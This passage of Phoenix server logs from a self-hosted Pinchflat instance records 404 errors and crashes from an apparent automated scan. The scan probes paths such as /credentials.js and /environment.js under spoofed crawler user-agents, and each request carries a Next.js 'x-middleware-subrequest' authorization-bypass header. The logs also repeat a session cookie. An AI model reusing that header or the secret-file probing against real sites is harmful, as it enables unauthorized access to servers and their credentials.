"pinchflat.burns-family.net", "user-agent" => "CCBot/2.0 (https://commoncrawl.org/faq/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /configuration (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29846.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/configuration.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34720}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "CCBot/2.0 (https://commoncrawl.org/faq/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, (truncated) 16:49:10.078 [info] GET /settings.js 16:49:10.078 [debug] Processing with PinchflatWeb.Settings.SettingController.show/2 Parameters: %{} Pipelines: [:browser] 16:49:10.078 [debug] QUERY OK source="settings" db=0.0ms idle=63.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:10.078 [debug] QUERY OK source="settings" db=0.0ms idle=60.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:10.078 [debug] QUERY OK source="settings" db=0.0ms idle=60.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:10.079 [debug] QUERY OK source="settings" db=0.0ms idle=43.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:10.079 [info] Sent 200 in 1ms 16:49:10.098 [info] GET /environment.js 16:49:10.098 [debug] QUERY OK source="settings" db=0.1ms idle=62.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:10.099 [debug] QUERY OK source="settings" db=0.1ms idle=20.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:10.099 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:10.099 [error] #PID<0.29851.0> running PinchflatWeb.Endpoint (connection #PID<0.29850.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /environment.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /environment (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29850.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/environment.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34726}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29851.0>, params: %{}, path_info: ["environment"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/environment.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61kxrICAXiC0ABMYC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29850.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/environment.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34726}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /environment (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29850.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/environment.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34726}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, (truncated) 16:49:10.118 [info] GET /constants.js 16:49:10.118 [debug] QUERY OK source="settings" db=0.1ms idle=39.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:10.119 [debug] QUERY OK source="settings" db=0.1ms idle=39.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:10.119 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:10.119 [error] #PID<0.29853.0> running PinchflatWeb.Endpoint (connection #PID<0.29852.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /constants.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /constants (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29852.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/constants.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34738}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29853.0>, params: %{}, path_info: ["constants"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/constants.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61k2bQxe0Y9QABwjB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29852.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/constants.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34738}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /constants (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29852.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/constants.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34738}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined (truncated) 16:49:10.158 [info] GET /credentials.js 16:49:10.158 [debug] QUERY OK source="settings" db=0.1ms idle=79.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:10.158 [debug] QUERY OK source="settings" db=0.0ms idle=59.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:10.158 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:10.159 [info] GET /config.json.js 16:49:10.159 [debug] QUERY OK source="settings" db=0.0ms idle=60.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:10.159 [debug] QUERY OK source="settings" db=0.1ms idle=40.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:10.159 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:10.158 [error] #PID<0.29855.0> running PinchflatWeb.Endpoint (connection #PID<0.29854.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /credentials.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29854.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/credentials.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34754}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29855.0>, params: %{}, path_info: ["credentials"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/credentials.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61k_4fUgFtYsAAIKj"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29854.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/credentials.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34754}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29854.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/credentials.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34754}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, h (truncated) 16:49:10.159 [error] #PID<0.29857.0> running PinchflatWeb.Endpoint (connection #PID<0.29856.0>, stream id 1) terminated Server: 